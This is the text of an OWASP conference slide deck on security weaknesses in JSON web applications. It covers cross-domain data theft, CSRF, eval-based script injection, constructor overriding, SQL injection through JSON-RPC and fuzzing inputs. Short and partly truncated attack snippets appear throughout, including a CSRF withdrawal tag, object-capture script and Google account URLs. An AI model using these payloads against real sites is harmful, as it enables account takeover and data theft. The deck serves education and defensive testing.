OWASP
AppSec Asia

Testing JSON Applications for Security Holes

Aviram Jenik

CEO

Beyond Security

Who am I?

- CEO of Beyond Security:
  - We develop automated security testing tools:
    - Network vulnerability assessment/management
    - Automated Web Site Security Scans
    - Blackbox testing/fuzzing
  - We operate and maintain SecuriTeam.com
    - One of the largest vulnerability databases on the net
    - Publish vulnerability information and exploit code
    - Open and free
  - SecuriTeam Secure Disclosure
    - Paying researchers who find 0-day vulnerabilities
    - Giving customers early-access to this information

So what do I do?

- I've been doing security for 23 years
- Focusing on Vulnerability research/security testing

Attacking vs. securing

- I'm going to concentrate on the attacks
- You should figure out how to secure

"If you know the enemy and know yourself you need not fear the results of a hundred battles. " - Sun Tzu, art of war

What is JSON?

If you don't know what JSON is go hear SID talk about Oracle attacks or John speak about critical infrastructure

What is JSON?

- A way to transfer data in a structured format – alternative to XML
- Popular in interactive AJAX programs
  - Used by Yahoo and Google

Problem #1: Cross domain reference

JSON script can be called across domains

JSON code sample

```
var object;
var json = new XMLHttpRequest();
json.open("GET", "/object.json",true);
json.onreadystatechange = function () {
   if (json.readyState == 4) {
     var res = json.responseText;
     object = eval("(" + res + ")");
   }
};
json.send(null);
```

HTTP Request

```
GET /object.json HTTP/1.1
Host: www.example.com
Cookie:
   JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J
   5SQZTr4a5YJaSbAiTnRR
```

HTTP Response

```
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-
  8
[{"name":"Bill Gates", "exp":"11/19",
  "cardnum":"463584726172 83",
 "amount":10000.00, "cvv":"876" },
 {"name":"Steve Jobs", "exp":"12/09",
  "cardnum":"550023847262637",
  "amount":99.99, "cvv":"123" }];
```

Problem

Cookie relates to the page where the JSON function runs, not where it is called

Problem

Cookie relates to the page where the JSON function runs, not where it is called

```
<img
  src="http://bank/withdraw?account=victi
  m&amount=1000000&for=evilhacker">
```

Attack example

```
<script>
function Object() {
  this.email setter = captureObject;
}
// Send the captured object back to the
   attacker's Web site
function captureObject(x) {
   var objString = "";
   for (fld in this) {
     objString += fld + ": " + this[fld] + ", ";
   }
```

Google CSRF Vulnerability

```
<script type="text/javascript">

function google(data){
    var emails, i;
    for (i = 0; i <data.Body.Contacts.length;
   i++) {
        mails += "<li>" +
   data.Body.Contacts[i].Email + "";
    }
    document.write("<ol>" + emails +
   "</ol>");
```

OT: Google vulnerability ACK procedure

1. Deny
2. Downplay
3. Fix silently
4. Ignore

OT: Google vulnerability ACK procedure

1. Deny
2. Downplay
3. Fix silently
4. Ignore

We have reported a DoS attack to google that is still in step 1

Pre-condition for attack

1. Ask victim to visit my page
2. Victim must be “logged in” to a google service

Nice twist

Brute force gmail password (unauthenticated sessions):

```
<img
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1
```

Problem #2: eval

- JSON is read via an “eval” command:

```
var p = eval("(" + contact + ")");
```

- If we place javascript code in “contact” we can cause the browser to execute our code under the trusted domain
  - Steal Cookies
    - Cookie = session = login
  - Change page text

Problem #3: Function overloading

```
function Array() {
  this[1] = 50;
}
var a = [40];
alert(a[0] + a[1]); // Gives 90
```

Problem #4: Code and data are mixed

- Hash/list is basically javascript
- Replace an existing Hash value with script
- Wait for the value to be used => pwned

Problem #5

- JSON is structured data
- Tempting to directly read/write to db
- SQL Injection may be possible

SQL Injection via JSON

```
POST http://www.example.com/itemcheck.ashx
   HTTP/1.1
[...]
X-JSON-RPC: getItem
[...]
{"id":1,"method":"getItem","params":{ "id" : "--"}}
```

*Example taken from Blueinfy. See web2fuzz.pdf for more info

SQL Injection via JSON

```
HTTP/1.1 200 OK
[…]
{"id":1,"error":{"name":"JSONRPCError","message":"
   Incorrect syntax near
   '='.","errors":[{"name":"SqlException","message":"
   Incorrect syntax near '='."}]}}
```

*Example taken from Blueinfy. See web2fuzz.pdf for more info

Variation: fuzzing JSON data

- Client trust problem

Variation: fuzzing JSON data

- Client trust problem

Fuzzing examples:

- Non-array where an array is expected
- Large/negative numbers
- Symbols like @'”%? --

Can of worms

More problems which were not discussed:

- Spoofing the referrer
- Reading server headers

JSONP

- JSONP (JSON w/ padding) by definition allows reading scripts from another site and attacks on it are trivial

Thank you!

aviram@beyondsecurity.com

www.beyondsecurity.com